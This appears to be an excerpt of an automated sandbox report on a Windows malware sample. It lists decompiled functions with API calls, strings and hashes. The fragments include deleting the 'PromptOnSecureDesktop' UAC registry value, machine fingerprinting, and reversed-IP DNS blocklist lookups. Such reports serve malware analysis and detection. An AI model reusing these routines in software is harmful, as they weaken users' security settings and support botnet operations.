localcfg, xrefs: 00408D19
0t, xrefs: 00408D02, 00408DA1

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: CountTick
String ID: 0t$localcfg
API String ID: 536389180-1645711936
Opcode ID: f778bec48d6853c61bba66ff70abee8b380bd23c812c2bd80f901189d0bf267b
Instruction ID: 1ef816322ecc1e041cdf399b9b138f6358d408137adc4a714cdb07e14db9ba06
Opcode Fuzzy Hash: f778bec48d6853c61bba66ff70abee8b380bd23c812c2bd80f901189d0bf267b
Instruction Fuzzy Hash: 0821C631610115AFCB109F64DE8169ABBB9EF20311B25427FD881F72D1DF38E940875C

Uniqueness

Uniqueness Score: -1.00%

Function 0057764E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,00020119,?), ref: 005776C2
RegEnumKeyA.ADVAPI32(?,00000000,?,00000104), ref: 00577956
RegCloseKey.ADVAPI32(?), ref: 00577967

Strings

PromptOnSecureDesktop, xrefs: 005776AE, 005776B3, 005776CE

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: CloseEnumOpen
String ID: PromptOnSecureDesktop
API String ID: 1332880857-2980165447
Opcode ID: 6add54f53aa26b9129486f5997ff6e8fcd40a3645fc937a9d882d7137db5ef12
Instruction ID: d852ec14c1ab91f99698bea4280f8fa494690b03bc751b837c7697469740d2bf
Opcode Fuzzy Hash: 6add54f53aa26b9129486f5997ff6e8fcd40a3645fc937a9d882d7137db5ef12
Instruction Fuzzy Hash: D511EE30A04109AFDB118FA9FC49FAFBFB9FB89700F148560F518EA291D6B08D509B60

Uniqueness

Uniqueness Score: -1.00%

Function 0040BFCE, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040BFD0
wsprintfA.USER32 ref: 0040C060

Strings

Type = %d: works = %d cur_thr = %d num_thr = %d integr = %d integr_nl = %d fCntrl = %d time_ok_filt = %d cntr = %d time_nl_filt = %d last_time_work = %d last_time_getem = %d last_time_calc = %d last_time_nl, xrefs: 0040C057
0t, xrefs: 0040BFD0

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: CountTickwsprintf
String ID: Type = %d: works = %d cur_thr = %d num_thr = %d integr = %d integr_nl = %d fCntrl = %d time_ok_filt = %d cntr = %d time_nl_filt = %d last_time_work = %d last_time_getem = %d last_time_calc = %d last_time_nl$0t
API String ID: 2424974917-3722268674
Opcode ID: 06c76dfdee32e392c5b9e14bf2ce1b6ffedea00b213a31f1363bbf4a57a4f60a
Instruction ID: 59a0723085258e1b6130595cff45262f63c8180c8ffe05f2a9b9c441a6a96c57
Opcode Fuzzy Hash: 06c76dfdee32e392c5b9e14bf2ce1b6ffedea00b213a31f1363bbf4a57a4f60a
Instruction Fuzzy Hash: 53115672200100FFDB529BA9DD44E567FA6FB88319B3491ACF6188A166D633D863EB50

Uniqueness

Uniqueness Score: -1.00%

Function 0042E2B6, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

__isleadbyte_l.LIBCMTD ref: 0042E2F7

Part of subcall function 00431230: _LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00431268

___crtLCMapStringA.LIBCMTD ref: 0042E37B
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042E395
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042E3AF

Strings

.B, xrefs: 0042E357, 0042E35A

Memory Dump Source

Source File: 00000018.00000002.432685720.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_415000_743F.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$String___crt__isleadbyte_l
String ID: .B
API String ID: 3671512615-829718130
Opcode ID: 375c1630e05cb2e82e6733a2bd4174f80c2e82819c9fadb709afbf7c3a2e5a30
Instruction ID: 3a5919ef66658a30298557215a763521d66ca8942f3ee8ab8ce89269cb3aa44c
Opcode Fuzzy Hash: 375c1630e05cb2e82e6733a2bd4174f80c2e82819c9fadb709afbf7c3a2e5a30
Instruction Fuzzy Hash: E1219675E00208AFCB04DF96D851AFF7B75EF14315F54C09EE40667281DB38AA45CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00401BDF, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00401BDF() {
				long _v8;
				long _v12;
				void* _v27;
				char _v28;
				void* _t14;
				signed int _t21;
				signed int _t30;
				void* _t31;

				_v28 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t30 = 0;
				_v12 = 0;
				asm("stosb");
				_v8 = 0xf;
				_t14 = E00401AC3();
				if(_t14 == 0) {
					if(GetComputerNameA( &_v28,  &_v8) == 0) {
						L6:
						GetVolumeInformationA(0, 0, 4,  &_v12, 0, 0, 0, 0);
						return _v12;
					}
					_t21 = 0;
					if(_v8 <= 0) {
						goto L6;
					} else {
						goto L3;
					}
					do {
						L3:
						_t30 = _t30 ^  *(_t31 + _t21 - 0x18) << (_t21 & 0x00000003) << 0x00000003;
						_t21 = _t21 + 1;
					} while (_t21 < _v8);
					if(_t30 == 0) {
						goto L6;
					}
					return _t30;
				}
				return _t14;
			}

0x00401bec
0x00401bf2
0x00401bf3
0x00401bf4
0x00401bf5
0x00401bf7
0x00401bf9
0x00401bfc
0x00401bfd
0x00401c04
0x00401c0b
0x00401c1d
0x00401c45
0x00401c51
0x00000000
0x00401c57
0x00401c1f
0x00401c24
0x00000000
0x00000000
0x00000000
0x00000000
0x00401c26
0x00401c26
0x00401c35
0x00401c37
0x00401c38
0x00401c3f
0x00000000
0x00000000
0x00000000
0x00401c41
0x00401c5e

APIs

Part of subcall function 00401AC3: LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
Part of subcall function 00401AC3: GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 00401AE9

GetComputerNameA.KERNEL32(?,0000000F), ref: 00401C15
GetVolumeInformationA.KERNEL32(00000000,00000000,00000004,00000001,00000000,00000000,00000000,00000000,?,?,?,?,00000001), ref: 00401C51

Strings

hi_id, xrefs: 00401BE5
localcfg, xrefs: 00401BE7

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: AddressComputerInformationLibraryLoadNameProcVolume
String ID: hi_id$localcfg
API String ID: 2777991786-2393279970
Opcode ID: 8706900559274ba91d770fb8bb1d60ecae66f9331a84d665d36368a2f022e804
Instruction ID: b3a67a5cb4ed68e183e77afdc8505cc80d304e276af6d439446d09174096bcc5
Opcode Fuzzy Hash: 8706900559274ba91d770fb8bb1d60ecae66f9331a84d665d36368a2f022e804
Instruction Fuzzy Hash: B2018072A44118BBEB10EAE8C8C59EFBABCAB48745F104476E602F3290D274DE4486A5

Uniqueness

Uniqueness Score: -1.00%

Function 0057994F, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000), ref: 00579986
RegDeleteValueA.ADVAPI32(?,00000000), ref: 005799A6
RegCloseKey.ADVAPI32(?), ref: 005799AF

Strings

PromptOnSecureDesktop, xrefs: 00579972, 00579977, 00579999, 005799BC

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: CloseDeleteOpenValue
String ID: PromptOnSecureDesktop
API String ID: 849931509-2980165447
Opcode ID: ecc939a75216a7bc4a9662cd8f3630595b0eae10caf242afcee65d599bec8ec6
Instruction ID: dc7fe0b2757032c668687f065cf56fcd69a5b64ae561d759d3faf7cbad1b3895
Opcode Fuzzy Hash: ecc939a75216a7bc4a9662cd8f3630595b0eae10caf242afcee65d599bec8ec6
Instruction Fuzzy Hash: D6F068B2640208BBF7156754AC0FFDF3A2CEB85700F104065FA09B9091E6E55E9052B9

Uniqueness

Uniqueness Score: -1.00%

Function 004096FF, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48
registryCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E004096FF(void* __ecx) {
				void* _v8;
				char* _t6;
				char* _t10;
				void* _t23;
				void* _t24;

				_t16 = __ecx;
				_push(__ecx);
				_t6 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
				_t24 = _t23 + 0x14;
				if(RegOpenKeyExA(0x80000001, _t6, 0, 0x103,  &_v8) == 0) {
					_t10 = E00402544(0x4122f8,  &E004106A0, 9, 0xe4, 0xc8);
					_t24 = _t24 + 0x14;
					RegDeleteValueA(_v8, _t10);
					RegCloseKey(_v8);
				}
				E0040EE2A(_t16, 0x4122f8, 0, 0x100);
				return 0;
			}

0x004096ff
0x00409702
0x00409728
0x0040972d
0x0040973e
0x0040974a
0x0040974f
0x00409756
0x0040975f
0x0040975f
0x0040976d
0x0040977b

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,PromptOnSecureDesktop,00000000,?,?,0040A14A), ref: 00409736
RegDeleteValueA.ADVAPI32(0040A14A,00000000,?,?,?,?,?,?,?,?,?,0040A14A), ref: 00409756
RegCloseKey.ADVAPI32(0040A14A,?,?,?,?,?,?,?,?,?,0040A14A), ref: 0040975F

Strings

PromptOnSecureDesktop, xrefs: 00409704, 00409722, 00409727, 00409749, 0040976C

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: CloseDeleteOpenValue
String ID: PromptOnSecureDesktop
API String ID: 849931509-2980165447
Opcode ID: 2a8abeb1ae8c575472f9bd74b3adb91cbf41d09789710805d0faf142c4fb6012
Instruction ID: 5e38ed9511aa8cc069582274463af9cddeeab7037fd65aad7bdf8be664a95ff7
Opcode Fuzzy Hash: 2a8abeb1ae8c575472f9bd74b3adb91cbf41d09789710805d0faf142c4fb6012
Instruction Fuzzy Hash: 5AF0C8B2680118BBF3106B51AC0BFDF3A2CDB44704F100075F605B50D2E6E55E9082BD

Uniqueness

Uniqueness Score: -1.00%

Function 0057DF55, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34threadsleepCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0057DF70
Sleep.KERNEL32(00000000,?,?,0057E56D,005744CB), ref: 0057DF8B
GetCurrentThreadId.KERNEL32 ref: 0057DFA3

Strings

0t, xrefs: 0057DF56

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: CurrentThread$Sleep
String ID: 0t
API String ID: 2068822874-1355922044
Opcode ID: 00222842cf4b27377529e63430db8cbc0b0fb89ac28641eb4cfa7891be51bad4
Instruction ID: 4834bbac2f7105d77ea6baced487d36e3d5e275b2f1e66883d955ed4ca66ef7d
Opcode Fuzzy Hash: 00222842cf4b27377529e63430db8cbc0b0fb89ac28641eb4cfa7891be51bad4
Instruction Fuzzy Hash: 87F0BE75204200AFD790AFA5BC88BA93FB4FB48312F10C076E20EC2269CB7455859E3E

Uniqueness

Uniqueness Score: -1.00%

Function 0057EEA4, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 24timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 0057EEAE
GetVolumeInformationA.KERNEL32(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 0057EEC2
GetTickCount.KERNEL32 ref: 0057EEC8

Strings

0t, xrefs: 0057EEC8

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: Time$CountFileInformationSystemTickVolume
String ID: 0t
API String ID: 1209300637-1355922044
Opcode ID: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction ID: 1673bc13977c8672636575d9c8a2f9c2942a42ce341afdc75306ae3be589e196
Opcode Fuzzy Hash: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction Fuzzy Hash: 6BE0BFF5810104FFEB11EBB0EC4EEBB7BBCFB08315F504661B915D6090DAB49A448B64

Uniqueness

Uniqueness Score: -1.00%

Function 005728D4, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(u6A), ref: 005728E3
gethostbyname.WS2_32(u6A), ref: 005728EF

Strings

u6A, xrefs: 005728D5, 005728E2, 005728EE
time_cfg, xrefs: 005728D4

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: gethostbynameinet_addr
String ID: time_cfg$u6A
API String ID: 1594361348-1940331995
Opcode ID: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction ID: fafd8b43c1da9c4e4453be6d0e46a601092621310759353e74467a6d147a65ee
Opcode Fuzzy Hash: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction Fuzzy Hash: FEE08230A042219FCB608B28F848ACA3BA4EF0A330F148185F048C32A0C330ACC1AB86

Uniqueness

Uniqueness Score: -1.00%

Function 00402684, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(?), ref: 00402693
gethostbyname.WS2_32(?), ref: 0040269F

Strings

time_cfg, xrefs: 00402684
~3u`y3up2u, xrefs: 00402693

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: gethostbynameinet_addr
String ID: time_cfg$~3u`y3up2u
API String ID: 1594361348-1403836930
Opcode ID: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction ID: 506fadec158220b53989f58c32679351ed61dc8f5455c60e8cf87b9af1828998
Opcode Fuzzy Hash: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction Fuzzy Hash: 9CE08C302040219FCB108B28F848AC637A4AF06330F0189A2F840E32E0C7B89CC08688

Uniqueness

Uniqueness Score: -1.00%

Function 0057D7B9, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 7sleepCOMMON

Download Yara Rule

APIs

closesocket.WS2_32(?), ref: 0057D7BC
Sleep.KERNEL32(000003E8), ref: 0057D7C7
ExitProcess.KERNEL32 ref: 0057D7D3

Strings

p2u, xrefs: 0057D7BC

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: ExitProcessSleepclosesocket
String ID: p2u
API String ID: 2012141568-1441537569
Opcode ID: a6f9f776857f4ecde53a678587fdf16408cfdffbb3d2d617deb71ab51d0e9a11
Instruction ID: b073175574f23e5059329ef4c2b1f639bd9172394a21153174bbf6d09a208255
Opcode Fuzzy Hash: a6f9f776857f4ecde53a678587fdf16408cfdffbb3d2d617deb71ab51d0e9a11
Instruction Fuzzy Hash: A2C04830841308EBD7412BA4FC4EA8C3E69AB48702B20C1A0B10A940B1CAB00A809A29

Uniqueness

Uniqueness Score: -1.00%

Function 005769AC, Relevance: 6.2, APIs: 4, Instructions: 199COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNEL32(?,00000080), ref: 005769CE
SetFileAttributesA.KERNEL32(?,00000002), ref: 00576A0F
GetFileSize.KERNEL32(000000FF,00000000), ref: 00576A23
CloseHandle.KERNEL32(000000FF), ref: 00576BC1

Part of subcall function 0057EE7E: GetProcessHeap.KERNEL32(00000000,?,00000000,00571DB8,?), ref: 0057EE91
Part of subcall function 0057EE7E: HeapFree.KERNEL32(00000000), ref: 0057EE98

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: File$AttributesHeap$CloseFreeHandleProcessSize
String ID:
API String ID: 3384756699-0
Opcode ID: 7cb1483d7ca4a0334585b6ef60a3fe03637638a32adcd708d2059a772ed48796
Instruction ID: 9156b837570510a06bff0a0056956c6e9bdc91867482109965b14c5a32cc9422
Opcode Fuzzy Hash: 7cb1483d7ca4a0334585b6ef60a3fe03637638a32adcd708d2059a772ed48796
Instruction Fuzzy Hash: 0A71F871900619EFDF118FA4DC849EEBFB9FB05354F1085AAE519E6190D7309E82EB50

Uniqueness

Uniqueness Score: -1.00%

Function 00436045, Relevance: 6.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004360D6
_memset.LIBCMT ref: 004361B3
__invalid_parameter.LIBCMTD ref: 00436229

Memory Dump Source

Source File: 00000018.00000002.432685720.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_415000_743F.jbxd

Similarity

API ID: _memset$__invalid_parameter
String ID:
API String ID: 2178901135-0
Opcode ID: 24d5eb042c61e950e074a7d476d19af5f6ee400268b3553846b0f9c5af18a9f3
Instruction ID: a1d689803af626a6321fdb962bdad9071e9f2db662749a267f4fb8fecef34faf
Opcode Fuzzy Hash: 24d5eb042c61e950e074a7d476d19af5f6ee400268b3553846b0f9c5af18a9f3
Instruction Fuzzy Hash: 3461AF30A0020AFFCF24DF58C945AAE73B1FB48328F21C25AE8256B3D1D7789951CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00401C5F, Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401C5F(void* __eflags) {
				signed int _t49;
				signed int _t51;
				void* _t80;
				char _t91;
				void* _t92;
				signed int _t98;
				void* _t101;
				void* _t102;
				void* _t103;
				void* _t105;
				void* _t107;
				void* _t108;

				_t105 = _t107 - 0x70;
				_t108 = _t107 - 0x114;
				 *(_t105 + 0x6c) =  *(_t105 + 0x6c) & 0x00000000;
				_t98 =  *(_t105 + 0x7c);
				 *(_t105 + 0x7c) =  *(_t105 + 0x7c) & 0x00000000;
				_t101 = E0040ED03(_t98, 0x2c);
				if(_t101 == 0) {
					L6:
					_t49 = _t98;
					_t32 = _t49 + 1; // 0x2
					_t102 = _t32;
					do {
						_t91 =  *_t49;
						_t49 = _t49 + 1;
					} while (_t91 != 0);
					 *((char*)(_t105 + _t49 - _t102 - 0x24)) = _t91;
					_t51 = _t98;
					_t35 = _t51 + 1; // 0x2
					_t103 = _t35;
					do {
						_t92 =  *_t51;
						_t51 = _t51 + 1;
					} while (_t92 != 0);
					E0040EE5C(_t105 - 0x24, _t98, _t51 - _t103);
					wsprintfA(_t105 - 0xa4, "%u.%u.%u.%u.%s",  *(_t105 + 0x7b) & 0x000000ff,  *(_t105 + 0x7a) & 0x000000ff,  *(_t105 + 0x79) & 0x000000ff,  *(_t105 + 0x78) & 0x000000ff, _t105 - 0x24);
					if(E00402684(_t105 - 0xa4) != 0) {
						 *(_t105 + 0x6c) =  *(_t105 + 0x6c) | 1 <<  *(_t105 + 0x7c);
					}
					L12:
					return  *(_t105 + 0x6c);
				}
				 *(_t105 + 0x5c) =  *(_t105 + 0x78) & 0x000000ff;
				 *(_t105 + 0x60) =  *(_t105 + 0x79) & 0x000000ff;
				 *(_t105 + 0x68) =  *(_t105 + 0x7a) & 0x000000ff;
				 *(_t105 + 0x64) =  *(_t105 + 0x7b) & 0x000000ff;
				while(1) {
					 *((char*)(_t105 + _t101 - _t98 - 0x24)) = 0;
					E0040EE5C(_t105 - 0x24, _t98, _t101 - _t98);
					_t22 = _t101 + 1; // 0x1
					_t98 = _t22;
					wsprintfA(_t105 - 0xa4, "%u.%u.%u.%u.%s",  *(_t105 + 0x64),  *(_t105 + 0x68),  *(_t105 + 0x60),  *(_t105 + 0x5c), _t105 - 0x24);
					_t80 = E00402684(_t105 - 0xa4);
					_t108 = _t108 + 0x2c;
					if(_t80 != 0) {
						 *(_t105 + 0x6c) =  *(_t105 + 0x6c) | 1 <<  *(_t105 + 0x7c);
					}
					 *(_t105 + 0x7c) =  *(_t105 + 0x7c) + 1;
					if( *(_t105 + 0x7c) > 0x1e) {
						goto L12;
					}
					_t101 = E0040ED03(_t98, 0x2c);
					if(_t101 != 0) {
						continue;
					}
					goto L6;
				}
				goto L12;
			}

0x00401c60
0x00401c64
0x00401c6a
0x00401c71
0x00401c74
0x00401c86
0x00401c8c
0x00401d1c
0x00401d1c
0x00401d1e
0x00401d1e
0x00401d21
0x00401d21
0x00401d23
0x00401d24
0x00401d2a
0x00401d2e
0x00401d30
0x00401d30
0x00401d33
0x00401d33
0x00401d35
0x00401d36
0x00401d42
0x00401d6b
0x00401d7e
0x00401d88
0x00401d88
0x00401d8b
0x00401d95
0x00401d95
0x00401c96
0x00401c9d
0x00401ca4
0x00401cab
0x00401cae
0x00401cb3
0x00401cbd
0x00401cd2
0x00401cd2
0x00401ce1
0x00401cea
0x00401cef
0x00401cf4
0x00401cfe
0x00401cfe
0x00401d04
0x00401d0a
0x00000000
0x00000000
0x00401d14
0x00401d1a
0x00000000
0x00000000
0x00000000
0x00401d1a
0x00000000

APIs

wsprintfA.USER32 ref: 00401CE1
wsprintfA.USER32 ref: 00401D6B

Strings

localcfg, xrefs: 00401C70
%u.%u.%u.%u.%s, xrefs: 00401CDB, 00401D65

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: %u.%u.%u.%u.%s$localcfg
API String ID: 2111968516-120809033
Opcode ID: 013209f5f393509082169113c365cfa774f3339610439ce827356f9210efd2df
Instruction ID: f60862e96afe744063ef1f8e151e0253a3d6131670b42bf9f562b78b9aabf051
Opcode Fuzzy Hash: 013209f5f393509082169113c365cfa774f3339610439ce827356f9210efd2df
Instruction Fuzzy Hash: 3C41C1729042999FDB21DF798D44BEE7BE89F49310F240066FD64E3192D639EA04CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041A9A1, Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

___libm_error_support.LIBCMTD ref: 0041AA55

Part of subcall function 004214C0: __encode_pointer.LIBCMTD ref: 004215A1

Memory Dump Source

Source File: 00000018.00000002.432685720.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_415000_743F.jbxd

Similarity

API ID: ___libm_error_support__encode_pointer
String ID:
API String ID: 3390238661-0
Opcode ID: bd5f022fdd1d3c5235b296f91ea3384d698401cf7c935dfb91f3aeea7f321e09
Instruction ID: 7795f1ec79e137b0422119d742d93ab0da674c62e885ea5aa8c7149b6aaefab8
Opcode Fuzzy Hash: bd5f022fdd1d3c5235b296f91ea3384d698401cf7c935dfb91f3aeea7f321e09
Instruction Fuzzy Hash: 05412931C09745DACB11AB39DA1516EB7B0FF91384F00C77BF88865211EB3489A9D34B

Uniqueness

Uniqueness Score: -1.00%

Function 00574168, Relevance: 6.0, APIs: 4, Instructions: 46filesynchronizationCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 00574194
GetLastError.KERNEL32 ref: 0057419E
WaitForSingleObject.KERNEL32(?,?), ref: 005741AF
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 005741C2

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedResultSingleWaitWrite
String ID:
API String ID: 3373104450-0
Opcode ID: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction ID: 0b418b79cea149a144aec261aa98b65f0d176f0e3eb2b12eeff8d4e0803418fe
Opcode Fuzzy Hash: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction Fuzzy Hash: E2011372511519ABDB01EF90ED84BEE3BBCFB18356F508061F905E2050E7709AA0DFA6

Uniqueness

Uniqueness Score: -1.00%

Function 005741DC, Relevance: 6.0, APIs: 4, Instructions: 46filesynchronizationCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 00574208
GetLastError.KERNEL32 ref: 00574212
WaitForSingleObject.KERNEL32(?,?), ref: 00574223
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 00574236

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedReadResultSingleWait
String ID:
API String ID: 888215731-0
Opcode ID: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction ID: 8fc976b1afe20c2229c368618126fd2779f7fb0e8b218211f28216553d824936
Opcode Fuzzy Hash: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction Fuzzy Hash: 8901E272511209ABDF01DF94ED84BEE7BACFB08356F108061F905E2051D7709E649FB6

Uniqueness

Uniqueness Score: -1.00%

Function 00403F18, Relevance: 6.0, APIs: 4, Instructions: 46
filesynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403F18(void* _a4, void* _a8, long _a12, long _a16, long _a20) {
				struct _OVERLAPPED _v24;
				long _t30;
				void* _t31;

				_v24.Offset = _v24.Offset & 0x00000000;
				_v24.OffsetHigh = _v24.OffsetHigh & 0x00000000;
				_t30 = _a12;
				_t31 = _a16;
				_a16 = _a16 & 0x00000000;
				_v24.hEvent = _t31;
				if(WriteFile(_a4, _a8, _t30,  &_a16,  &_v24) != 0) {
					L3:
					if(_t30 != _a16) {
						L5:
						return 0;
					}
					return 1;
				}
				if(GetLastError() != 0x3e5) {
					goto L5;
				}
				WaitForSingleObject(_t31, _a20);
				if(GetOverlappedResult(_a4,  &_v24,  &_a16, 0) == 0) {
					goto L5;
				}
				goto L3;
			}

0x00403f1e
0x00403f22
0x00403f27
0x00403f2b
0x00403f2e
0x00403f3e
0x00403f4c
0x00403f7c
0x00403f7f
0x00403f86
0x00000000
0x00403f86
0x00000000
0x00403f83
0x00403f59
0x00000000
0x00000000
0x00403f5f
0x00403f7a
0x00000000
0x00000000
0x00000000

APIs

WriteFile.KERNEL32(00000000,00000000,0040A3C7,00000000,00000000,000007D0,00000001), ref: 00403F44
GetLastError.KERNEL32 ref: 00403F4E
WaitForSingleObject.KERNEL32(00000004,?), ref: 00403F5F
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 00403F72

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedResultSingleWaitWrite
String ID:
API String ID: 3373104450-0
Opcode ID: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
